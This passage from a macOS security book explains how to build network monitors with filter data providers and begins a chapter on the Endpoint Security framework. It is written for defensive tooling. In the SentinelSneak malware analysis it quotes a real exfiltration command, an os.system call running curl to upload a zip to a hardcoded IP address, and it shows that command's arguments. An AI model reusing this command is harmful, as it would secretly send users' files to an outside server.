pid_t pid = audit_token_to_pid(*auditToken); 2

SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef _Nullable)(@{(_bridge
NSString*)kSecGuestAttributeAudit:flow.metaData.sourceAppAuditToken}), kSecCSDefaultFlags,
&code); 3

SecCodeCopyPath(code, kSecCSDefaultFlags, &path); 4

// Do something with the process ID and path.

CFRelease(path);
CFRelease(code);

Listing 7-9: Obtaining the responsible process’s ID and path from a network flow

First, we initialize a pointer to an audit token. As noted, the source 
App AuditToken contains this token in the form of an NSData object. To get a 
pointer to the audit token’s actual bytes, we use the bytes property of the 
NSData class 1. With this pointer, we can extract the associated process ID 
via the audit_token_to_pid function 2. Next, we obtain a code reference 
from the audit token 3 and then invoke the SecCodeCopyPath function to 
obtain the process’s path 4.

It’s worth noting that the SecCodeCopyGuestWithAttributes API can fail, for 
example, if the process has self-deleted. This case is both very unusual and 
likely indicative of a malicious process. Regardless, you’ll have to defer to 
other, less certain methods of obtaining the process’s path, such as examin-
ing the process’s arguments, which can be surreptitiously modified.

From the flow, we can also extract the responsible process’s code 
signing identifier, which can help classify the process as either benign 
or something to investigate further. This identifier is in the flow’s source 
AppSigningIdentifier attribute. Listing 7-10 extracts it.

NSString* signingID = flow.metaData.sourceAppSigningIdentifier;

Listing 7-10: Extracting code signing information from a network flow

As noted earlier in this chapter, the DNS monitoring process I’ve 
described thus far would fail to detect malware such as Dummy, which 
connects directly to an IP address. To detect such threats, let’s expand our 
monitoring capabilities to examine all network traffic.
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Filter Data Providers
One of the most powerful network monitoring capabilities afforded by 
macOS are filter data providers. Implemented within a system extension and 
built atop the NetworkExtension framework, these network extensions can 
observe and filter all network traffic. You could use them to actively block 
malicious network traffic or else to passively observe all network flows, then 
identify potentially suspicious processes to investigate further.

Interestingly, when Apple introduced filter data providers along with 
the other network extensions, it initially decided to exempt traffic gener-
ated by various system components from filtering, even though this traffic 
had previously been routed through the now-deprecated network kernel 
extensions. This meant that security tools such as network monitors and 
firewalls that had previously observed all network traffic now remained 
blind to some of it. Unsurprisingly, abusing the exempted system compo-
nents was easy and provided a stealthy way to bypass any third-party secu-
rity tool built atop Apple’s network extensions. After I demonstrated this 
bypass, the media jumped on the story,12 and public outcry encouraged 
Apple to reevaluate its approach. Ultimately, wiser minds in Cupertino pre-
vailed; today, all network traffic on macOS is routed through any installed 
filter data provider.13

N O T E  As with the DNS monitor, the filter data provider network extension we’ll imple-
ment here must meet the prerequisites discussed in “Using the NetworkExtension 
Framework” on page 159.

The code in this section largely comes from Objective-See’s popular open 
source firewall, LuLu, written by yours truly. You can find LuLu’s complete 
code in its GitHub repository, https://github.com/objective-see/LuLu.

Enabling Filtering
Let’s start by programmatically activating a network extension that imple-
ments a filter data provider. This process deviates slightly from the activa-
tion of a network extension that implements DNS monitoring; instead of 
using an NEDNSProxyManager object, we’ll leverage an NEFilterManager object.

In the main application, use the process covered in “Activating a System 
Extension” on page 160 to activate the extension, then enable filtering as 
shown in Listing 7-11.

[NEFilterManager.sharedManager loadFromPreferencesWithCompletionHandler:^(NSError*
_Nullable error) { 1
    NEFilterProviderConfiguration* config = [[NEFilterProviderConfiguration alloc] init]; 2

    config.filterPackets = NO; 3
    config.filterSockets = YES;

    NEFilterManager.sharedManager.providerConfiguration = config; 4

https://github.com/objective-see/LuLu
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    NEFilterManager.sharedManager.enabled = YES;

    [NEFilterManager.sharedManager
    saveToPreferencesWithCompletionHandler:^(NSError* _Nullable error) { 5
        // If there is no error, the filter data provider is running.
    }];
}];

Listing 7-11: Enabling filtering with an NEFilterManager object

First, we access the NEFilterManager shared manager object and invoke its 
loadFromPreferencesWithCompletionHandler: method 1. Once this completes, 
we initialize an NEFilterProviderConfiguration object 2. We then set two con-
figuration options 3. As we’re not interested in filtering packets, we set this 
option to NO. On the other hand, we want to filter socket activity, so we set this 
to YES. The code then saves this configuration and sets the NEFilterManager 
shared manager object to enabled 4. Finally, to trigger the network exten-
sion activation with this configuration, the code invokes the shared man-
ager’s saveToPreferencesWithCompletionHandler: method 5. Once this process 
completes, the filter data provider should be running.

Writing the Extension
As with the DNS monitor, the filter data provider is a separate binary that 
you must package in a bundle’s Contents/Library/SystemExtensions/ directory. 
Once loaded, it should invoke NEProvider’s startSystemExtensionMode: method. 
In the extension’s Info.plist file, we add a dictionary referenced by the key 
NEProvider Classes containing a single key-value pair (Listing 7-12).

<key>NEProviderClasses</key>
<dict>
    <key>com.apple.networkextension.filter-data<\d>/key>
    <string>FilterDataProvider</string>
</dict>
...

Listing 7-12: The extension’s Info .plist file, which specifies the extension’s NEProviderClasses 
class

We set the key to com.apple.networkextension.filter-data and the value 
to the name of our class in the extension that inherits from NEFilterData 
Provider. In this example, we’ve named the class FilterDataProvider, which  
we declare as such (Listing 7-13).

@interface FilterDataProvider : NEFilterDataProvider
    ...
@end

Listing 7-13: An interface definition for the FilterDataProvider class

Once the filter data provider extension is up and running, the 
NetworkExtension framework will automatically invoke this class’s startFi
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lterWithCompletionHandler method, where you’ll specify what traffic you’d 
like to filter. The code in Listing 7-14 filters all protocols but only for 
outgoing traffic, which is more helpful than incoming traffic for detecting 
unauthorized or new programs that could be malware.

-(void)startFilterWithCompletionHandler:(void (^)(NSError* error))completionHandler {
    NENetworkRule* networkRule = [[NENetworkRule alloc] initWithRemoteNetwork:nil
    remotePrefix:0 localNetwork:nil localPrefix:0 protocol:NENetworkRuleProtocolAny
    direction:NETrafficDirectionOutbound]; 1

    NEFilterRule* filterRule =
    [[NEFilterRule alloc] initWithNetworkRule:networkRule action:NEFilterActionFilterData]; 2

    NEFilterSettings* filterSettings =
    [[NEFilterSettings alloc] initWithRules:@[filterRule] defaultAction:NEFilterActionAllow]; 3

    [self applySettings:filterSettings completionHandler:^(NSError* _Nullable error) { 4
        // If no error occurred, the filter data provider is now filtering.
    }];
    ...
}

Listing 7-14: Setting filter rules to specify which traffic should be routed through the extension

First, the code creates an NENetworkRule object, setting the protocol filter 
option to any and the direction filter option to outbound 1. Then it uses this 
NENetworkRule object to create an NEFilterRule object. It also specifies an action 
of NEFilterActionFilterData to tell the NetworkExtension framework that we want 
to filter data 2. Next, it creates an NEFilterSettings object with the filter rule we 
just created that matches all outbound traffic. Specifying NEFilterActionAllow 
for the default action means any traffic that doesn’t match this filter rule will 
be allowed 3. Finally, it applies the settings to begin the filtration 4.

Now, anytime a program on the system initiates a new outbound 
network connection, the system automatically invokes the handleNewFlow: 
delegate method in our filter class. Though it shares the same name, this 
delegate method differs from the one we used for DNS monitoring in a few 
ways. It takes a single argument (an NEFilterFlow object that contains infor-
mation about the flow) and, upon returning, must instruct the system on 
how to handle the flow. It does so via an NEFilterNewFlowVerdict object, which 
can specify verdicts such as allow (allowVerdict), drop (dropVerdict), or pause 
(pauseVerdict). Because we’re focusing on tying a flow to its responsible pro-
cess, we’ll always allow the flow (Listing 7-15).

-(NEFilterNewFlowVerdict*)handleNewFlow:(NEFilterFlow*)flow {
    ...
    return [NEFilterNewFlowVerdict allowVerdict];
}

Listing 7-15: Returning a verdict from the handleNewFlow: method

If we were building a firewall, we would instead consult the firewall’s 
rules or alert the user before allowing or blocking each flow.
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Querying the Flow
By querying the flow, we can extract information such as its remote end-
point and the process responsible for generating it. First, let’s just print 
out the flow object. For example, here is a flow generated by curl when 
attempting to connect to objective-see.org:

flow:
    identifier = D89B5B5D-793C-4940-80FE-54932FAA0500
    sourceAppIdentifier = .com.apple.curl
    sourceAppVersion =
    sourceAppUniqueIdentifier =
    {length = 20, bytes = 0xbbb73e021281eee708f86d974c91182e955de441}
    procPID = 26686
    eprocPID = 26686
    direction = outbound
    inBytes = 0
    outBytes = 0
    signature =
    {length = 32, bytes = 0x5a322cd8 f14f63bc a117ddf5 1762fa5abb8291c9 2b6ab2fd}
    socketID = 5aa2f9354fe80
    localEndpoint = 0.0.0.0:0
    remoteEndpoint = 185.199.108.153:80
    remoteHostname = objective-see.org.
    protocol = 6
    family = 2
    type = 1
    procUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F
    eprocUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F

Besides information about the responsible process, such as its app ID, 
we can see details about the destination, including both an endpoint and a 
hostname. The flow object also contains information about the type of flow, 
including its protocol and socket family.

Now let’s extract more granular information. Recall that when con-
figuring the filter, we told the system we were interested only in filtering 
sockets. As such, the flow passed into the handleNewFlow: method will be 
an NEFilterSocketFlow object, which is a subclass of the NEFilterFlow class. 
These objects have an instance variable called remoteEndpoint containing an 
object of type NWEndpoint, which itself contains information about the flow’s 
destination. You can extract the IP address of the remote endpoint via the 
NEFilterSocketFlow object’s hostname instance variable and retrieve its port 
from the port variable, both of which are stored as strings (Listing 7-16).

NSString* addr = ((NEFilterSocketFlow*)flow).remoteEndpoint.hostname;
NSString* port = ((NEFilterSocketFlow*)flow).remoteEndpoint.port;

Listing 7-16: Extracting the remote endpoint’s address and port

These NEFilterSocketFlow objects also contain low-level information about 
the flow, including the socket family, type, and protocol. Table 7-1 summarizes 
these, but you can learn more about them in Apple’s NEFilterFlow.h.
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Table 7-1: Low-Level Flow Information in NEFilterSocketFlow Objects

Variable name Type Description

socketType int Socket type, such as SOCK_STREAM

socketFamily int Socket family, such as AF_INET

socketProtocol int Socket protocol, such as IPPROTO_TCP

From the remoteEndpoint and the socket instance variables, you can 
extract information to be fed into network-based heuristics. For example, 
you might craft a heuristic that flags any network traffic bound to nonstan-
dard ports.

To identify the responsible process, NEFilterFlow objects have the source 
AppIdentifier and sourceAppAuditToken properties. We’ll focus on the latter, 
as it can provide us with both a process ID and process path. Listing 7-17 
performs this extraction by following the same approach we took in the 
DNS monitor.

CFURLRef path = NULL;
SecCodeRef code = NULL; 
audit_token_t* token = (audit_token_t*)flow.sourceAppAuditToken.bytes;

pid_t pid = audit_token_to_pid(*token);

SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef _Nullable)(@{(__bridge NSString
*)kSecGuestAttributeAudit:flow.sourceAppAuditToken}), kSecCSDefaultFlags, &code);

SecCodeCopyPath(code, kSecCSDefaultFlags, &path);

// Do something with the process ID and path.

CFRelease(path);
CFRelease(code);

Listing 7-17: Identifying the responsible process from a flow

We extract the audit token from the flow and then call the audit_token 
_to_pid function to obtain the responsible process’s ID. We also use the 
audit token to obtain a code reference, then call SecCodeCopyPath to retrieve 
the process’s path.

Running the Monitor
If we compile this code as part of a project that implements a complete, 
properly entitled network extension, we can globally observe all outbound 
network flows in real time and then extract information about each flow’s 
remote endpoint and responsible process. Yes, this means now we can easily 
detect basic malware such as Dummy, but let’s test the tool against a rel-
evant specimen of macOS malware, SentinelSneak.

Detected at the end of 2022, this malicious Python package tar- 
geted developers with the goal of exfiltrating sensitive data.14 It used a  
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hardcoded IP address for its command-and-control server. From its unob-
fuscated Python code, we can see that curl uploaded information from an 
infected system to an exfiltration server found at 54.254.189.27:

command = "curl -k -F \"file=@" + zipname + "\" \"https://54.254.189.27/api/
v1/file/upload\" > /dev/null 2>&1"
os.system(command)

This means the DNS monitor we wrote earlier in this chapter wouldn’t 
detect its unauthorized network access. But the filter data provider should 
capture and display the following:

flow:
    identifier = D89B5B5D-793C-4940-41BD-B091F4C00700
    sourceAppIdentifier = .com.apple.curl
    sourceAppVersion =
    sourceAppUniqueIdentifier = {length = 20, bytes =
    0xbbb73e021281eee708f86d974c91182e955de441}
    procPID = 87558
    eprocPID = 87558
    direction = outbound
    inBytes = 0
    outBytes = 0
    signature = {length = 32, bytes = 0x4ee4a2f2 72c06264
    f38d479b 6ea2dc39 ... 74aa159c 9153147b}
    socketID = 7c0f491b0bd41
    localEndpoint = 0.0.0.0:0
    remoteEndpoint = 54.254.189.27:443
    protocol = 6
    family = 2
    type = 1
    procUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F
    eprocUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F

Remote Endpoint: 54.254.189.27:443

Process ID: 87558
Process Path: /usr/bin/curl

As you can see, it was able to capture the flow, extract the remote end-
point (54.254.189.27:443), and correctly identify the responsible process 
as curl.

This responsible process makes detection more complex, as curl is a 
legitimate macOS platform binary and not an untrusted component of the 
malware. What might we do? Well, using methods covered in Chapter 1, we 
could extract the arguments with which the malware has executed curl:

-k -F "file=<some file>" https://54.254.189.27/api/v1/file/upload

These arguments should raise some red flags, because although legiti-
mate software often uses curl to download files, it’s rarely used to upload 
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them, especially to a hardcoded IP address. Moreover, the -k argument tells 
curl to run in insecure mode, meaning the server’s SSL certificate won’t 
be verified. Again, this is a red flag, as legitimate software leveraging curl 
wouldn’t normally run in this insecure mode.

You could also determine that the process’s parent is a Python script 
and collect the script for manual analysis, which would quickly reveal its 
malicious nature.

Conclusion
This chapter focused on the concepts necessary for building real-time, 
host-based network monitoring tools by leveraging Apple’s powerful 
NetworkExtension framework. Because the vast majority of Mac malware 
incorporates networking capabilities, the techniques described in this chap-
ter are essential for any malware detection system. Unauthorized network 
activity serves as a critical indicator for many security tools and heuristic-
based detection approaches, providing an invaluable way to detect both 
known and unknown threats targeting macOS.
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If you’ve made it this far in the book, you 
might have concluded that writing security 

tools for macOS is a challenging venture 
largely because of Apple itself. For example, if 

you want to capture the memory of a remote process, 
you’re out of luck, and enumerating all persistently 
installed items is possible, as you saw in Chapter 5, yet  
requires reverse engineering a proprietary, undocu-
mented database.

But I’m not here to bash Apple, and as this chapter will demonstrate, 
the company has responded to our pleas by releasing Endpoint Security. 
Introduced in macOS 10.15 (Catalina), it’s the first Apple framework 
designed specifically to help third-party developers build advanced user-
mode security tools, such as those focused on detecting malware.1 It’s hard 
to overstate the importance and power of Endpoint Security, which is why 
I’m dedicating two entire chapters to it.

8
E N D P O I N T  S E C U R I T Y
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In this chapter, I’ll provide an overview of the framework and discuss 
how to use its APIs to perform actions such as monitoring file and process 
events. The next chapter will focus on more advanced topics, such as mut-
ing and authorization events. In Part III, I’ll show you how to build several 
tools atop Endpoint Security.

The majority of the code snippets presented in this chapter and the 
next come directly from the ESPlayground project, found in the Chapter 8 
folder of this book’s GitHub repository (https://github.com/Objective-see/
TAOMM). This project contains the code in its entirety, so if you’re looking 
to build your own Endpoint Security tools, I recommend starting there.

The Endpoint Security Workflow
Endpoint Security allows you to create a program (a client, in Apple par-
lance) and register for (or subscribe to) events of interest. Whenever these 
events occur on the system, Endpoint Security will deliver a message to your 
program. It can also block the events’ execution until your tool authorizes 
them. For example, imagine you’re interested in being notified anytime a 
new process starts so you can make sure it’s not malware. Using Endpoint 
Security, you can specify whether you’d like to simply receive notifications 
about new processes or whether the system should hold off on spawning the 
process until you’ve examined and authorized it.

Many of Objective-See’s tools use Endpoint Security in the way I’ve just 
described. For example, BlockBlock uses Endpoint Security to monitor 
for persistent file events and to block non-notarized processes and scripts. 
Figure 8-1 shows BlockBlock stopping malware that exploited a zero-day 
exploit (CVE-2021-30657) to bypass macOS code signing and notariza-
tion checks.

To keep malicious actors from abusing Endpoint Security’s power, 
macOS requires any tools leveraging it to fulfill several requirements. Most 
notable is obtaining the coveted com.apple.developer.endpoint-security.client 
entitlement from Apple. In Part III of this book, I’ll explain exactly how to 
ask Apple for this entitlement and, once it’s granted, generate and apply 
a provisioning profile so that you can deploy your tools to other macOS 
systems.

https://github.com/Objective-see/TAOMM
https://github.com/Objective-see/TAOMM
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Figure 8-1: BlockBlock uses Endpoint Security to stop untrusted scripts and processes 
from running.

For now, as noted in the book’s introduction, disabling System Integrity 
Protection (SIP) and Apple Mobile File Integrity (AMFI) will allow you to 
locally develop and test tools that leverage Endpoint Security. You’ll still have 
to add the client entitlement, but with these two macOS security mechanisms 
disabled, you can grant it to yourself. In the ESPlayground project, you’ll 
find the required Endpoint Security client entitlement in the ESPlayground 
.entitlements file (Listing 8-1).

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>com.apple.developer.endpoint-security.client</key>
    <true/>
</dict>
</plist>

Listing 8-1: Specifying the required client entitlement
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The Code Signing Entitlements build setting references this file, so at 
compile time, it will be added to the project’s application bundle. As such, 
on a system with SIP and AMFI disabled, subscribing to and receiving 
Endpoint Security events will succeed.

If you’re designing a tool that leverages Endpoint Security, you’ll likely 
take the same four steps:

 1. Declare events of interest.

 2. Create a new client and callback handler block.

 3. Subscribe to events.

 4. Process events delivered to the handler block.

Let’s look at each of these steps, starting with understanding events 
of interest.

Events of Interest
You can find the list of Endpoint Security events in the ESTypes.h header 
file. If you have Xcode installed, this and other Endpoint Security header 
files should live in its SDK directory: /Applications/Xcode.app/Contents/
Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/
EndpointSecurity. While Apple’s official developer documentation is some-
times incomplete, the header files ESClient.h, ESMessage.h, EndpointSecurity.h, 
and ESTypes.h are extremely well commented, and you should consider them 
authoritative sources of Endpoint Security information.

Within ESTypes.h, you can find the list of Endpoint Security events in an 
es_event_type_t enumeration:

/**
 * The valid event types recognized by EndpointSecurity
 *
 ...
 *
*/
typedef enum {

  // The following events are available beginning in macOS 10.15.
  ES_EVENT_TYPE_AUTH_EXEC,
  ES_EVENT_TYPE_AUTH_OPEN,
  ES_EVENT_TYPE_AUTH_KEXTLOAD,
  ...
  ES_EVENT_TYPE_NOTIFY_EXEC,
  ...
  ES_EVENT_TYPE_NOTIFY_EXIT,
  ...

  // The following events are available beginning in macOS 13.0.
  ES_EVENT_TYPE_NOTIFY_AUTHENTICATION,



Endpoint Security   183

  ES_EVENT_TYPE_NOTIFY_XP_MALWARE_DETECTED,
  ES_EVENT_TYPE_NOTIFY_XP_MALWARE_REMEDIATED,
  ...
  ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD,
  ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_REMOVE,

  // The following events are available beginning in macOS 14.0.
  ...
  ES_EVENT_TYPE_NOTIFY_XPC_CONNECT,

  // The following events are available beginning in macOS 15.0.
  ES_EVENT_TYPE_NOTIFY_GATEKEEPER_USER_OVERRIDE,
  ...

  ES_EVENT_TYPE_LAST
} es_event_type_t;

Let’s make a few observations. First, as the comments in the header file 
show, not all events are available on all versions of macOS. For example, 
you’ll find events related to XProtect malware detection or the addition of 
persistence items beginning in macOS 13 only.

Second, although this header file and Apple’s developer documentation 
don’t directly document these event types, their names should give you a 
general idea of their purposes. For example, a tool interested in passively 
monitoring process executions should subscribe to the ES_EVENT_TYPE_NOTIFY 
_EXEC event. Also, as we’ll see, each event type is tied to a corresponding 
event structure, such as an es_event_exec_t. The framework header files 
document these well.

Finally, the names in the header file fall into two categories: ES_EVENT 
 _TYPE_AUTH_* and ES_EVENT_TYPE_NOTIFY_*. Authorization events most often 
originate from kernel mode and enter a pending state once delivered to 
Endpoint Security clients, requiring the client to explicitly authorize or deny 
them. For example, to allow only notarized processes to run, you’d first reg-
ister for ES_EVENT_TYPE_AUTH_EXEC events, then check each delivered event and 
authorize only those that represent the spawning of notarized processes. I’ll 
discuss authorization events in the next chapter. Notification events originate 
in user mode and are for events that have already occurred. If you’re creating 
passive monitoring tools, such as a process monitor, you’ll subscribe to these.

The built-in macOS utility eslogger, found in /usr/bin, provides a way to 
easily explore the Endpoint Security subsystem, as it captures and outputs 
Endpoint Security notifications directly from the terminal. For example, say 
you’d like to build a process monitor. What Endpoint Security events should 
your monitor subscribe to in order to receive information about processes? 
The ES_EVENT_TYPE_NOTIFY_EXEC event looks promising. Let’s use macOS’s 
eslogger to see if we’re on the right track.

To capture and output Endpoint Security events of interest, execute 
eslogger with root privileges from the terminal while specifying the name 
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of the event. The tool uses short names for Endpoint Security notification 
events, which you can list via the --list-events command line option:

# eslogger --list-events
access
authentication
...
exec
...

To view ES_EVENT_TYPE_NOTIFY_EXEC events, pass exec to eslogger:

# eslogger exec

Once eslogger is capturing process execution events, try executing a 
command such as say with the arguments Hello World. The tool should out-
put detailed information about the executed event.2 Here is a snippet of 
this output (which might look slightly different on your system, depending 
on your version of macOS):

# eslogger exec
{
    "event_type": 9,
        "event": {
            "exec": {
                "script": null,
                "target": {
                    "signing_id": "com.apple.say",
                    "executable": {
                    "path": "\/usr\/bin\/say",
                    "ppid": 1152,
                    ...
                    "is_platform_binary": true,
                    "audit_token": {
                        ...
                    },
                    "original_ppid": 1152,
                    "cdhash": "6C92E006B491C58B62F0C66E2D880CE5FE015573",
                    "team_id": null
                },
                "image_cpusubtype": -2147483646,
                "image_cputype": 16777228,
                "args": ["say", "Hello", "World"],
                ...
}

As you can see, Endpoint Security provided not only the basics, such 
as the path and process ID of the newly executed process, but also code 
signing information, arguments, the parent PID, and more. Leveraging 
Endpoint Security can greatly simplify any security tool, saving it from hav-
ing to generate additional information about the event itself.
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Clients, Handler Blocks, and Event Handling
Now, you may be wondering how to subscribe to events and then program-
matically interact with the information found within them. For example, 
how can you extract the path or arguments for the process notification event 
ES_EVENT_TYPE_NOTIFY_EXEC? First, you must create an Endpoint Security client.

To create a new client, processes can invoke the Endpoint Security 
function es_new_client, which accepts a callback handler block and an out 
pointer to an es_client_t that Endpoint Security will initialize with the new 
client. The function returns a result of type es_new_client_result_t set to 
ES_NEW_CLIENT _RESULT_SUCCESS if the call succeeds. It might also return one of 
the following failure values, as detailed in ESClient.h:

ES_NEW_CLIENT_RESULT_ERR_NOT_ENTITLED    The caller doesn’t have the  
com.apple.developer.endpoint-security.client entitlement.

ES_NEW_CLIENT_RESULT_ERR_NOT_PERMITTED    The caller isn’t permitted to con-
nect to the Endpoint Security subsystem, as it lacks TCC approval from 
the user.

ES_NEW_CLIENT_RESULT_ERR_NOT_PRIVILEGED    The caller isn’t running with 
root privileges.

The header file provides additional details on these errors, as well as 
recommendations on how to fix each.

After you’ve subscribed to events, the framework will automatically 
invoke the callback handler block passed to the es_new_client function for 
each event. In the invocation, the framework includes a pointer to a client 
and an es_message_t structure that will contain detailed information about 
the delivered event. The ESMessage.h file defines this message type:

typedef struct {
    uint32_t version;
    struct timespec time;
    uint64_t mach_time;
    uint64_t deadline;
    es_process_t* _Nonnull process;
    uint64_t seq_num; /* field available only if message version >= 2 */
    es_action_type_t action_type;
    union {
        es_event_id_t auth;
        es_result_t notify;
    } action;
    es_event_type_t event_type;
    es_events_t event;
    es_thread_t* _Nullable thread; /* field available only if message version >= 4 */
    uint64_t global_seq_num; /* field available only if message version >= 4 */
    uint64_t opaque[]; /* Opaque data that must not be accessed directly */
} es_message_t;
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We can consult the header file for a brief description of each structure 
member (or run eslogger to view this full structure for each event), but let’s 
cover a few important members here. At the start of the structure is the 
version field. This field is useful, as certain other fields may appear only in 
later versions. For example, the process’s CPU type (image_cputype) is avail-
able only if the version field is of type 6 or newer. Next are various time-
stamps and a deadline. I’ll discuss the deadline in Chapter 9, as it plays an 
important role when dealing with event authorizations.

The es_process_t structure describes the process responsible for taking 
the action that triggered the event. Shortly, we’ll explore es_process_t struc-
tures in more detail, but for now, it suffices to understand that they contain 
information about a process, including audit tokens, code signing informa-
tion, paths, and more.

The next member discussed is the event_type, which will be set to the 
type of event that was delivered, for example, ES_EVENT_TYPE_NOTIFY_EXEC. This 
is useful because clients usually register for multiple event types. As each 
event type contains different data, it’s important to determine which event 
you’re dealing with. For example, a process monitor might do this with a 
switch statement (Listing 8-2).

switch(message->event_type) {
    case ES_EVENT_TYPE_NOTIFY_EXEC:
        // Add code here to handle exec events.
        break;

    case ES_EVENT_TYPE_NOTIFY_FORK:
        // Add code here to handle fork events.
        break;

    case ES_EVENT_TYPE_NOTIFY_EXIT:
        // Add code here to handle exit events.
        break;

    default:
        break;
}

Listing 8-2: Handling multiple message types

The event-type-specific data in the es_message_t structure has a type of 
es_events_t. This type is a large union of types, found in ESMessage.h, that 
map to Endpoint Security events. For example, in this union, we find es 
_event_exec_t, the event type for ES_EVENT_TYPE_NOTIFY _EXEC. The same header 
file contains the definition of es_event_exec_t:

/**
 * @brief Execute a new process.
 * @field target The new process that is being executed.
 * @field script The script being executed by the interpreter.
 ...
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*/
typedef struct {
    es_process_t* _Nonnull target;
    es_string_token_t dyld_exec_path; /* field available only if message version >= 7 */
    union {
        uint8_t reserved[64];
        struct {
            es_file_t* _Nullable script; /* field available only if message version >= 2 */
            es_file_t* _Nonnull cwd; /* field available only if message version >= 3 */
            int last_fd; /* field available only if message version >= 4 */
            cpu_type_t image_cputype; /* field available only if message version >= 6 */
            cpu_subtype_t image_cpusubtype; /* field available only if message version >= 6 */
            };
        };
} es_event_exec_t;

Again, consult the header file for detailed comments about each mem-
ber of the es_event_exec_t structure. Most relevant is the member named 
target, a pointer to an es_process_t structure representing the new process 
that is executed. Let’s take a closer look at this structure to see what infor-
mation it provides about a process:

/**
 * @brief Information related to a process. This is used both for describing processes ...
(e.g., for exec events, this describes the new process being executed).
 *
 * @field audit_token Audit token of the process
 * @field ppid Parent pid of the process
 ...
 * @field signing_id The signing id of the code signature associated with this process
 * @field team_id The team id of the code signature associated with this process
 * @field executable The executable file that is executing in this process
...
*/
typedef struct {
    audit_token_t audit_token;
    pid_t ppid;
    pid_t original_ppid;
    pid_t group_id;
    pid_t session_id;
    uint32_t codesigning_flags;
    bool is_platform_binary;
    bool is_es_client;
    uint8_t cdhash[20];
    es_string_token_t signing_id;
    es_string_token_t team_id;
    es_file_t* _Nonnull executable;
    es_file_t* _Nullable tty;
    struct timeval start_time;
    audit_token_t responsible_audit_token;
    audit_token_t parent_audit_token;
} es_process_t;
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As with other structures in the header files, comments explain the many 
structure members. Of particular interest to us are the following:

•	 Audit tokens (such as audit_token, responsible_audit_token, and parent 
_audit_token)

•	 Code signing information (such as signing_id and team_id)

•	 The executable (executable)

In previous chapters, I discussed the usefulness of building process 
hierarchies and the challenges of creating accurate ones. The Endpoint 
Security subsystem provides us with the audit tokens of both the direct par-
ent and responsible process that spawned the new process, making building 
an accurate process hierarchy for the newly spawned process a breeze. The 
es_process_t structure contains this information directly, so we’re no longer 
required to manually build such hierarchies.

Let’s now talk about the executable member of the es_process_t structure, 
a pointer to an es_file_t structure. As shown in the following structure defi-
nition, an es_file_t structure provides the path to a file on disk, such as to a 
process’s binary:

/**
 * @brief es_file_t provides the stat information and path to a file.

 * @field path Absolute path of the file
 * @field path_truncated Indicates if the path field was truncated
 ...
*/
typedef struct {
    es_string_token_t path;
    bool path_truncated;
    struct stat stat;
} es_file_t;

To get the actual path, you must understand one more structure, 
es_string_token_t. You’ll come across it often, as it’s how Endpoint Security 
stores strings such as filepaths. This simple structure defined in ESTypes.h 
contains only two members:

/**
 * @brief Structure for handling strings
*/
typedef struct {
    size_t length;
    const char* data;
} es_string_token_t;

The length member of the structure is the length of the string token. 
A comment in the header file notes that it’s equivalent to the value returned 
by strlen. You shouldn’t actually use strlen on the string data, however, as 
the data member of the structure isn’t guaranteed to be NULL terminated. To 
print es_string_token_t structures as a C-string, use the %.*s format string, 
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which expects two arguments: the maximum number of characters to print 
and then a pointer to the characters (Listing 8-3).

es_string_token_t* responsibleProcessPath = &message->process->executable->path;
printf("responsible process: %.*s\n",
(int)responsibleProcessPath->length, responsibleProcessPath->data);

es_string_token_t* newProcessPath = &message->event.exec.target->executable->path;
printf("new process: %.*s\n", (int)newProcessPath->length, newProcessPath->data);

Listing 8-3: Outputting es_string_token_t structures from within es_process_t structures

First, the code extracts the string token for the process responsible for 
triggering the Endpoint Security event. It then prints out the path of this 
process, using the aforementioned format string and the length and data 
members of the string token structure. Recall that when an ES_EVENT_TYPE 
_NOTIFY_EXEC event occurs, the structure describing the newly spawned pro-
cess can be found in the target member of the exec structure (located in the 
message’s event structure). The code then accesses this structure to print 
out the path of the newly spawned process.

Now, you’ll probably want to do more than just print out information 
about events. For example, for all new processes, you might extract their 
paths and store them in an array or pass each path to a function that checks 
if they’re notarized. To achieve this, you’ll likely want to convert the string 
token into a more programmatically friendly object such as an NSString. 
As shown in Listing 8-4, you can do this in a single line of code.

NSString* string = [[NSString alloc] initWithBytes:stringToken->data length:stringToken->
length encoding:NSUTF8StringEncoding];

Listing 8-4: Converting an es_string_token_t to an NSString

The code makes use of the NSString initWithBytes:length:encoding: method, 
passing in the string token’s data and length members and the string encoding 
NSUTF8StringEncoding.

To actually start receiving events, you have to subscribe! With an Endpoint 
Security client in hand, invoke the es_subscribe API. As its parameters, it takes 
the newly created client, an array of events, and the number of events to sub-
scribe to, which here includes process execution and exit events (Listing 8-5).

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    // Add code here to handle delivered events.
});

es_subscribe(client, events, sizeof(events)/sizeof(events[0])); 1

Listing 8-5: Subscribing to events
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Note that we compute the number of events rather than hardcoding 
it 1. Once the es_subscribe function returns with no error, the Endpoint 
Security subsystem will begin asynchronously delivering events that match 
the types to which we have subscribed. Specifically, it will invoke the han-
dler block we specified when creating the client.

Creating a Process Monitor
Let’s put what we’ve learned to use by creating a process monitor that 
relies on Endpoint Security. We’ll first subscribe to process events such as 
ES_EVENT_TYPE_NOTIFY_EXEC and then parse pertinent process information as 
we receive events.

N O T E  Only relevant snippets are provided here, but you can find the code in its entirety  
in the ESPlayground project’s monitor.m file. You can also find an open source,  
production-ready process monitor build atop Endpoint Security in the Process Monitor 
project in Objective-See’s GitHub repository at https://github.com/objective 
-see/ProcessMonitor.

We begin by specifying which Endpoint Security events we’re interested 
in. For a simple process monitor, we could stick to just the ES_EVENT_TYPE 
_NOTIFY_EXEC event. However, we’ll also register for the ES_EVENT_TYPE_NOTIFY 
_EXIT event to track process exits. We put these event types into an array 
(Listing 8-6). Once we create an Endpoint Security client, we’ll subscribe to 
the events.

